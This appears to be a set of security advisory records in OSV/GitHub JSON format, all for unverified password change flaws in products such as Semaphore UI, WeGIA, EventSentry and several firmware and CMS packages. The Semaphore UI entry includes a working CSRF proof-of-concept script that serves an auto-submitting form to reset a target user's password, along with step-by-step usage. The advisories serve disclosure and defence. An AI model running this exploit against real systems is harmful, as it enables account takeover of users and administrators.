CWE-620

{
  "affected": [],
  "aliases": [
    "CVE-2026-9249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T16:16:25Z",
    "severity": "LOW"
  },
  "details": "Unverified password change in Devolutions Server allows an attacker to change a user\u0027s password without providing the previous one via a crafted password change request.\n\nThis issue affects :\n\n  *  Devolutions Server 2026.1.6.0 through 2026.1.16.0\n  *  Devolutions Server 2025.3.20.0 and earlier",
  "id": "GHSA-7m8m-72m7-5vcc",
  "modified": "2026-05-26T13:30:19Z",
  "published": "2026-05-26T13:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9249"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories/DEVO-2026-0013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-22381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-16T15:15:32Z",
    "severity": "HIGH"
  },
  "details": "Aggie 2.6.1 has a Host Header injection vulnerability in the forgot password functionality, allowing an attacker to reset a user\u0027s password.",
  "id": "GHSA-7p24-rq5q-3rrv",
  "modified": "2026-02-03T00:30:16Z",
  "published": "2025-10-16T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TID-Lab/aggie/tree/a9d5becaff3ea90720ea7213c80825e253b8a730"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bugdotexe/Vulnerability-Research/tree/main/CVE-2025-22381"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pescada-dev/CVE-2025-22381"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-76633"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T14:17:59Z",
    "severity": "HIGH"
  },
  "details": "WeGIA before 3.9.2 contains an authorization bypass vulnerability in the password change flow that allows any authenticated user to change their account password without providing existing credentials by exploiting the unconditional exclusion of the alterarSenha method from permission checks in controle/control.php. Attackers can manipulate the redir parameter to point to alterar_senha.php, routing through verificarSenhaConfig() instead of verificarSenha() to bypass current password verification and convert temporary session access into permanent account takeover.",
  "id": "GHSA-8248-cv95-x854",
  "modified": "2026-08-20T15:34:18Z",
  "published": "2026-08-20T15:34:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-gfcx-7973-hjmp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76633"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LabRedesCefetRJ/WeGIA/releases#release-3.9.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wegia-authorization-bypass-password-change-via-alterarsenha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-25653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-30T12:16:17Z",
    "severity": "MODERATE"
  },
  "details": "Navicat for Oracle 12.1.15 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the password field. Attackers can paste a buffer of 550 repeated characters into the password parameter during Oracle connection configuration to trigger an application crash.",
  "id": "GHSA-83jv-37p5-gc2r",
  "modified": "2026-03-30T12:32:27Z",
  "published": "2026-03-30T12:32:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25653"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46383"
    },
    {
      "type": "WEB",
      "url": "https://www.navicat.com/es"
    },
    {
      "type": "WEB",
      "url": "https://www.navicat.com/es/download/navicat-for-oracle"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/navicat-for-oracle-password-field-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-09T04:16:09Z",
    "severity": "CRITICAL"
  },
  "details": "The Sala - Startup \u0026 SaaS WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.1.4. This is due to the theme not properly validating a user\u0027s identity prior to updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user\u0027s passwords, including administrators, and leverage that to gain access to their account.",
  "id": "GHSA-8477-vwg3-3x2m",
  "modified": "2025-07-09T06:30:25Z",
  "published": "2025-07-09T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4606"
    },
    {
      "type": "WEB",
      "url": "https://themeforest.net/item/sala-startup-saas-wordpress-theme/33843955?s_rank=4"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa385a1f-1623-4f0a-bb2f-d4564b8f91bf?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-24T21:16:29Z",
    "severity": "HIGH"
  },
  "details": "EventSentry versions prior to 6.0.1.20\u00a0contain an unverified password change vulnerability in the account management functionality of the Web Reports interface. The password change mechanism does not require validation of the current password before allowing a new password to be set. An attacker who gains temporary access to an authenticated user session can change the account password without knowledge of the original credentials. This enables persistent account takeover and, if administrative accounts are affected, may result in privilege escalation.",
  "id": "GHSA-8c83-cvgq-pp7w",
  "modified": "2026-02-26T03:31:17Z",
  "published": "2026-02-24T21:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24443"
    },
    {
      "type": "WEB",
      "url": "https://www.eventsentry.com/downloads/version-history"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/eventsentry-web-reports-unverified-password-change"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/semaphoreui/semaphore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260707190631-c59c3dc9035b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73292"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-620"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:23:15Z",
    "nvd_published_at": "2026-08-12T16:17:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.\n\n### Details\n\nThe password change endpoint of Semaphore UI does not implement any CSRF protection:\n\n- No CSRF token required\n- No current password confirmation required\n- Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement\n\nA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/\u003cid\u003e/password forms. \n\n\n### PoC\n\nTo reproduce the exploit, you can use the following python script:\n\n```python\nimport logging\nimport argparse\nimport time\nimport sys\nimport os \nfrom http.server import SimpleHTTPRequestHandler, HTTPServer\n\nlogging.basicConfig(filename=None, level=logging.DEBUG,format=\u0027%(asctime)s - %(message)s\u0027)\n\ndef forge_malicious_page(target, user_id, newpassword):\n    return f\"\"\"\n        \u003chtml\u003e\n        \u003cbody\u003e\n\n        \u003cform id=\"CSRF_POC\" action=\"{target}/api/users/{user_id}/password\" enctype=\"text/plain\" method=\"POST\"\u003e\n\n        \u003cinput type=\"hidden\" name=\u0027{{\"password\": \"{newpassword}\", \"project_id\": 1}}\u0027  value=\u0027//}}\u0027 /\u003e\n        \u003c/form\u003e\n        \n        \u003cscript\u003e\n        document.getElementById(\"CSRF_POC\").submit();\n        \u003c/script\u003e\n\n        \u003c/body\u003e\n        \u003c/html\u003e\n    \"\"\";\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\",\"--user_id\",type=int, help=\"user id to change password\", required=True)\nparser.add_argument(\"-u\",\"--uri\",  help=\"Base uri to target\", required=True)\nparser.add_argument(\"-n\",\"--new_password\",  help=\"new password to set\", default=\u0027passwordchanged\u0027)\nparser.add_argument(\"-p\",\"--port\",  help=\"Port to run server\", default=1337)\nargs = parser.parse_args()\n\n\nclass Handler(SimpleHTTPRequestHandler):\n    \n     def do_GET(self):\n        logging.info(\"Client: %s | Methode: %s | Chemin: %s | Query: %s\" %\n                (self.client_address[0], self.command, self.path,\n                self.path.split(\u0027?\u0027)[1] if \u0027?\u0027 in self.path else \u0027None\u0027))\n        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; charset=utf-8\")\n        self.send_header(\"Content-Length\", str(len(content)))\n        self.end_headers()\n        self.wfile.write(content)\n\n\nhttpd = HTTPServer((\"\", args.port), Handler)\nlogging.info(\"[*] Serving at port \"+str(args.port))\n\nhttpd.serve_forever()\n```\n\nExample : \n```bash\npython poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337\n```\n\n1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.\n2 - Connect to semaphore UI in another tab with the targeted user. \n3 - In the same browser, visit the malicious website (ex: localhost:1337).\n4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password `passwordchanged`.\n\n\n### Impact\n\nThis is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.",
  "id": "GHSA-8cj9-r88m-8945",
  "modified": "2026-09-03T19:23:15Z",
  "published": "2026-09-03T19:23:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/security/advisories/GHSA-8cj9-r88m-8945"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73292"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/2d6e2e3eb10e8bf688e2ab59609b909a012fad4c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/commit/c59c3dc9035badcbf0609c7d35679c06e590a956"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/semaphoreui/semaphore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semaphoreui/semaphore/releases/tag/v2.18.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-63362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T19:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to set the Administrator password and username as blank values, allowing attackers to bypass authentication.",
  "id": "GHSA-8j63-78xq-x2q3",
  "modified": "2025-12-08T18:30:25Z",
  "published": "2025-12-04T21:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63362"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1AGv9KWMTB71NJfIOncuNO6FyK0UAqxmL/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://otsecverse.github.io/OTSecVerse/posts/Post-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A CWE-620: Unverified Password Change vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker connected to the charging station web server to modify the password of a user.",
  "id": "GHSA-8pg2-f5fh-mj6f",
  "modified": "2022-05-24T19:08:47Z",
  "published": "2022-05-24T19:08:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22773"
    },
    {
      "type": "WEB",
      "url": "http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-30458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-620"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T19:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue in Daylight Studio FuelCMS v1.5.2 allows attackers to exfiltrate users\u0027 password reset tokens via a mail splitting attack.",
  "id": "GHSA-8vgv-ffv5-269j",
  "modified": "2026-03-28T03:31:25Z",
  "published": "2026-03-26T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/daylightstudio/FUEL-CMS"
    },
    {
      "type": "WEB",
      "url": "https://pentest-tools.com/PTT-2025-025-Account-Takeover-via-Email-Array.pdf"
    },
    {
      "type": "WEB",
      "url": "http://daylight.com"
    },
    {
      "type": "WEB",
      "url": "http://fuelcms.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}